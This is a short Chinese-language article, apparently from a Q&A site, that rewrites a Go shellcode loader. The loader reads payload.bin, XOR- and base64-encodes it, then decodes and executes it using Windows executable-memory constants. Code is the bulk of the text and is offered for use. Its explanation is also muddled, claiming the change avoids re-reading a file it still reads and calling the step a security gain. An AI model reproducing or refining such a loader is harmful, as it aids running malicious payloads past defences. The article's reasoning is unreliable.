Golang Shellcode 加密执行优化:去除重复读取 payload.bin 文件
Golang Shellcode 加密执行优化:去除重复读取 'payload.bin' 文件
本文介绍如何优化 Golang 代码,避免重复读取 'payload.bin' 文件,直接使用加密后的 Shellcode 进行执行。
原始代码:
package main
import (
"encoding/base64"
"io/ioutil"
"syscall"
"time"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var XorKey = [][]byte{
{0x13, 0x54, 077, 0x1A, 0xA1, 0x3F, 0x04, 0x8B},
{0x13, 0x54, 0x77, 0x69, 0x97, 0x3F, 0x33, 0x2B},
{0x31, 0x23, 0x37, 0x19, 0x91, 0x3F, 0x50, 0x9B},
}
// ... 其他代码 ...
func main() {
payload := string(readFile("./payload.bin"))
encodedPayload := Encode(payload)
shellCodeHex := Decode(encodedPayload)
exec(shellCodeHex)
}
优化后的代码:
package main
import (
"encoding/base64"
"io/ioutil"
"syscall"
"time"
"unsafe"
)
// ... 其他代码 ...
func Encode(src []byte) string {
encodedBytes := Crypt(XorCipher, XorKey[0], src)
bdata := base64.StdEncoding.EncodeToString(encodedBytes)
return bdata
}
// ... 其他代码 ...
func main() {
payload := readFile("./payload.bin")
encodedPayload := Encode(payload)
shellCodeHex := Decode(encodedPayload)
exec(shellCodeHex)
}
主要修改:
- Encode 函数的参数改为 []byte 类型,直接将读取的文件内容作为参数传入进行加密。
- main 函数中读取文件的方式改为读取为 []byte 类型,直接将读取到的内容作为参数传入 Encode 函数进行加密。
修改后的代码直接使用加密后的 Shellcode,不需要再次读取 'payload.bin' 文件。
优点:
- 提高代码效率,减少文件读取操作,节省时间。
- 简化代码逻辑,使代码更加清晰易懂。
- 避免重复读取 'payload.bin' 文件,提高代码的安全性。
注意:
- 此优化方法仅适用于需要对文件内容进行加密并执行的情况。
- 代码中的加密算法仅供参考,实际使用中应选择更安全的加密算法。
- 为了提高代码可读性,建议将代码中使用到的常量、变量、函数进行合理的命名。
希望本文能够帮助您优化 Golang 代码,提高代码效率和安全性。
原文地址: https://www.cveoy.top/t/topic/lPgK 著作权归作者所有。请勿转载和采集!